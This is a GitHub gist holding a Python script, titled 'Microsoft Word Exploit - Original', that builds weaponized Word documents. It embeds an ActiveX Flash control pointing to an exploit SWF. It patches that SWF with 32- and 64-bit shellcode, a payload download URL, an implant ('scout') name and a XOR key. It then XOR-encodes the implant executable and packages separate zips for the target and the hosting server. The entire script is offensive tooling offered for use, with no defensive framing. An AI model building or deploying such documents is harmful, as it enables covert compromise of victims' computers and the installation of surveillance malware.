Skip to content

Instantly share code, notes, and snippets.

@bedekelly
Created July 9, 2015 17:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save bedekelly/e0a2aed8cc8fb33ec506 to your computer and use it in GitHub Desktop.
Save bedekelly/e0a2aed8cc8fb33ec506 to your computer and use it in GitHub Desktop.
Microsoft Word Exploit - Original
import sys
import os
import warnings
import zlib
sys.path.append(os.getcwd() + '/' + "pylzma.egg")
import pylzma
import struct
import random
import shutil
from zipfile import ZipFile
import zipfile
import time
random.seed()
def random_id(length):
number = '0123456789'
alpha = 'abcdefghijklmnopqrstuvwxyz'
id = ''
for i in range(0,length,2):
id += random.choice(number)
id += random.choice(alpha)
return id
def four_byte_xor(buf, key):
out = ''
for i in range(0,len(buf)/4):
c = struct.unpack("<I", buf[(i*4):(i*4)+4])[0]
c ^= key
out += struct.pack("<I", c)
reminder = len(buf) % 4
for i in range(len(buf)-reminder, len(buf)):
c = struct.unpack("B", buf[i])[0]
c ^= 0x41
out += struct.pack("B", c)
return out
if not os.path.exists("c:\\RCS\\DB\\config\\test"):
SWF_RANDOM_NAME = random_id(12) + ".swf"
else:
SWF_RANDOM_NAME = "avtest.swf"
EXE_RANDOM_NAME = random_id(12) + ".dat"
if sys.argv[2][-1] == "/":
EXE_URL = sys.argv[2] + EXE_RANDOM_NAME
SWF_URL = sys.argv[2] + SWF_RANDOM_NAME
else:
EXE_URL = sys.argv[2] + '/' + EXE_RANDOM_NAME
SWF_URL = sys.argv[2] + '/' + SWF_RANDOM_NAME
if EXE_URL[:4] != 'http' and EXE_URL[:4] != "HTTP":
EXE_URL = "http://" + EXE_URL
if SWF_URL[:4] != 'http' and SWF_URL[:4] != "HTTP":
SWF_URL = "http://" + SWF_URL
#SWF_URL = "/".join(sys.argv[2].split("/")[0:-1]) + '/' + SWF_RANDOM_NAME
SCOUT_NAME = sys.argv[8]
input_file = sys.argv[4]
output_file = sys.argv[5]
send_to_target_zip = sys.argv[3]
send_to_server_zip = sys.argv[7]
INPUT_SCOUT = sys.argv[6]
exploit_file = "exploit.swf"
XOR_KEY = random.randint(0xdead, 0xdeadbeef)
print SCOUT_NAME
print EXE_URL
print SWF_URL
print EXE_RANDOM_NAME
print SWF_RANDOM_NAME
print input_file
print output_file
print send_to_target_zip
print send_to_server_zip
print INPUT_SCOUT
def byteArray2String(param):
with warnings.catch_warnings():
warnings.simplefilter('ignore')
tmp = os.tempnam()
f = open(tmp, 'wb')
f.write(param)
f.close()
f = open(tmp, 'rb')
result = f.read()
f.close()
try:
os.unlink(tmp)
except WindowsError:
print "I/O error when deleting %s file"%(tmp)
return result
def create_doc():
# unpack zip file
if not os.path.exists("tmp"):
os.mkdir("tmp")
myzip = ZipFile(input_file)
myzip.extractall("tmp")
myzip.close()
# update content types
buff = open("tmp/[Content_Types].xml", 'r').read()
idx = buff.lower().find("<types")
idx2 = buff[idx:].lower().find(">") + 1
buff2 = buff[:idx+idx2]
if buff.lower().find("vnd.ms-office.activex") == -1:
buff2 += '<Default ContentType="application/vnd.ms-office.activeX" Extension="bin"/>'
if buff.lower().find("image/x-wmf") == -1:
buff2 += '<Default ContentType="image/x-wmf" Extension="wmf"/>'
buff2 += '<Override ContentType="application/vnd.ms-office.activeX+xml" PartName="/word/activeX/activeX1.xml"/>'
buff2 += buff[idx+idx2:]
open("tmp/[Content_Types].xml", 'w').write(buff2)
# update rels
buff = open("tmp/word/_rels/document.xml.rels", 'r').read()
idx = buff.lower().find("</relationships>")
buff2 = buff[:idx]
buff2 += '<Relationship Target="activeX/activeX1.xml" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Id="rId1000"/><Relationship Target="media/image1000.wmf" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Id="rId1001"/>'
buff2 += "</Relationships>"
open("tmp/word/_rels/document.xml.rels", 'w').write(buff2)
# update document
buff = open("tmp/word/document.xml", 'r').read()
#idx = buff.lower().find("</w:body")
#idx2 = 0
idx = buff.lower().find("<w:body")
idx2 = buff[idx:].lower().find(">") + 1
buff2 = buff[:idx+idx2]
buff2 += '<w:control w:name="ShockwaveFlash1" r:id="rId1000"/>'
buff2 += buff[idx+idx2:]
open("tmp/word/document.xml", 'w').write(buff2)
if os.path.exists("tmp/word/activeX"):
print "[!!] Unsupported file: contains an ActiveX"
sys.exit(-1);
if not os.path.exists("tmp/word/activeX/"):
shutil.copytree("resources/activeX/", "tmp/word/activeX/")
if not os.path.exists("tmp/word/media/"):
shutil.copytree("resources/media/", "tmp/word/media/")
else:
shutil.copy("resources/media/image1000.wmf", "tmp/word/media/")
random.seed()
create_doc()
XOR_OFFT = 0x88 * 2
URL_OFFT = XOR_OFFT + (0x4*2)
SCOUT_OFFT = 0x110 * 2
XOR_OFFT64 = 0
URL_OFFT64 = 8
SCOUT_OFFT64 = 0x88 * 2
# decompress swf
compressed_swf = open("resources/exploit.swf", 'rb').read()
swf_buff = zlib.decompress(compressed_swf[8:])
# replace :)
swf_buff = swf_buff.replace("vector-exploit", "pector-isbrovi")
swf_buff = swf_buff.replace("ht-201", "abc123")
##### 32 #######
# get offset to shellcode
stage2_offset = swf_buff.find(b"EFBEADDE")
if stage2_offset == 0:
print "[!!] Gadget for shellcode not found"
sys.exit(-1)
print "[+] Gadget for shellcode found @ 0x%x" %(stage2_offset)
swf_bytearray = bytearray(swf_buff)
# replace shellcode 32
shellcode = open("resources/shellcode", 'rb').read()
if len(shellcode) > 5800:
print "[!!] Shellcode too big: 0x%x" % (len(shellcode))
sys.exit(-1)
hex_shellcode = shellcode.encode('hex')
for i in range(len(hex_shellcode)):
swf_bytearray[stage2_offset + i] = hex_shellcode[i]
# modify URL 32
hex_url = EXE_URL.encode('hex') + "0000"
print "[+] Hex URL => %s" %(hex_url)
for i in range(len(hex_url)):
swf_bytearray[stage2_offset + URL_OFFT + i] = hex_url[i]
# modify scout name 32
hex_scout = "5c" + SCOUT_NAME.encode('hex') + "0000"
print "[+] Scout Name => %s" % (hex_scout)
for i in range(len(hex_scout)):
swf_bytearray[stage2_offset + SCOUT_OFFT + i] = hex_scout[i]
# modify xor key
hex_xorkey = ("%08x" % XOR_KEY)
print "[+] Hex key => %s" %(hex_xorkey)
swf_bytearray[stage2_offset + XOR_OFFT + 0] = hex_xorkey[6]
swf_bytearray[stage2_offset + XOR_OFFT + 1] = hex_xorkey[7]
swf_bytearray[stage2_offset + XOR_OFFT + 2] = hex_xorkey[4]
swf_bytearray[stage2_offset + XOR_OFFT + 3] = hex_xorkey[5]
swf_bytearray[stage2_offset + XOR_OFFT + 4] = hex_xorkey[2]
swf_bytearray[stage2_offset + XOR_OFFT + 5] = hex_xorkey[3]
swf_bytearray[stage2_offset + XOR_OFFT + 6] = hex_xorkey[0]
swf_bytearray[stage2_offset + XOR_OFFT + 7] = hex_xorkey[1]
##### 64 #######
# get offset to shellcode64
stage264_offset = swf_buff.find(b"CAF1ADDE")
if stage264_offset == 0:
print "[!!] Gadget for shellcode64 not found"
sys.exit(-1)
print "[+] Gadget for shellcode found @ 0x%x" %(stage264_offset)
# replace shellcode 64
shellcode64 = open("resources/shellcode64", 'rb').read()
if len(shellcode64) > (5800*2):
print "[!!] Shellcode too big: 0x%x" % (len(shellcode64))
sys.exit(-1)
hex_shellcode64 = shellcode64.encode('hex')
for i in range(len(hex_shellcode64)):
swf_bytearray[stage264_offset + i] = hex_shellcode64[i]
# modify URL 64
hex_url = EXE_URL.encode('hex') + "0000"
print "[+] Hex URL => %s" %(hex_url)
for i in range(len(hex_url)):
swf_bytearray[stage264_offset + URL_OFFT64 + i] = hex_url[i]
# modify scout name 32
hex_scout = "5c" + SCOUT_NAME.encode('hex') + "0000"
print "[+] Scout Name => %s" % (hex_scout)
for i in range(len(hex_scout)):
swf_bytearray[stage264_offset + SCOUT_OFFT64 + i] = hex_scout[i]
# modify xor key 64
hex_xorkey = ("%08x" % XOR_KEY)
print "[+] Hex key => %s" %(hex_xorkey)
swf_bytearray[stage264_offset + XOR_OFFT64 + 0] = hex_xorkey[6]
swf_bytearray[stage264_offset + XOR_OFFT64 + 1] = hex_xorkey[7]
swf_bytearray[stage264_offset + XOR_OFFT64 + 2] = hex_xorkey[4]
swf_bytearray[stage264_offset + XOR_OFFT64 + 3] = hex_xorkey[5]
swf_bytearray[stage264_offset + XOR_OFFT64 + 4] = hex_xorkey[2]
swf_bytearray[stage264_offset + XOR_OFFT64 + 5] = hex_xorkey[3]
swf_bytearray[stage264_offset + XOR_OFFT64 + 6] = hex_xorkey[0]
swf_bytearray[stage264_offset + XOR_OFFT64 + 7] = hex_xorkey[1]
# compress swf
uncompressed_len = len(swf_bytearray)
uncompressed_len += len("ZWS\x0d")
uncompressed_len += 4 # + se stessa
print "[+] Uncompressed len: 0x%x" %(uncompressed_len)
lzma_buff = pylzma.compress(byteArray2String(swf_bytearray))
compressed_len = len(lzma_buff) - 5
print "[+] Compressed len: 0x%x" %(compressed_len)
output_buff = "ZWS\x0d"
output_buff += struct.pack("<L", uncompressed_len)
output_buff += struct.pack("<L", compressed_len)
output_buff += lzma_buff
# write it
open(SWF_RANDOM_NAME, 'wb').write(output_buff)
# modify ole link
ole_link_buff = open("tmp/word/activeX/activeX1.bin", 'rb').read()
ole_link_offt = ole_link_buff.find("h\x00t\x00t\x00p")
print "[+] Offset to first link: 0x%x" %(ole_link_offt)
ole_link2_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link_offt+1)
print "[+] Offset to second link: 0x%x" %(ole_link2_offt)
ole_link3_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link2_offt+1)
print "[+] Offset to third link: 0x%x" %(ole_link3_offt)
swf_url_bytearray = bytearray(SWF_URL + "\x00\x00")
ole_link_bytearray = bytearray(ole_link_buff)
for i in range(len(ole_link_bytearray)):
if i == ole_link_offt or i == ole_link2_offt or i == ole_link3_offt:
y = 0
for x in range(len(swf_url_bytearray)):
ole_link_bytearray[i+y] = swf_url_bytearray[x]
ole_link_bytearray[i+y+1] = 0x0
y += 2
# dump modified ole link
open("tmp/word/activeX/activeX1.bin", 'wb').write(byteArray2String(ole_link_bytearray))
# create docx
cwd = os.getcwd()
os.chdir(cwd + "\\tmp")
os.system("zip.exe -r ..\\tmp.zip *")
os.chdir(cwd)
shutil.move("tmp.zip", output_file)
# zip per target
os.system("zip.exe -r \"" + send_to_target_zip + "\" \"" + output_file + "\"")
shutil.move(send_to_target_zip + ".zip", send_to_target_zip)
# zip per server
open(EXE_RANDOM_NAME, 'wb').write(four_byte_xor(open(INPUT_SCOUT, 'rb').read(), XOR_KEY))
#shutil.copy(INPUT_SCOUT, EXE_RANDOM_NAME)
os.system("zip.exe \"" + send_to_server_zip + "\" " + EXE_RANDOM_NAME + " " + SWF_RANDOM_NAME)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment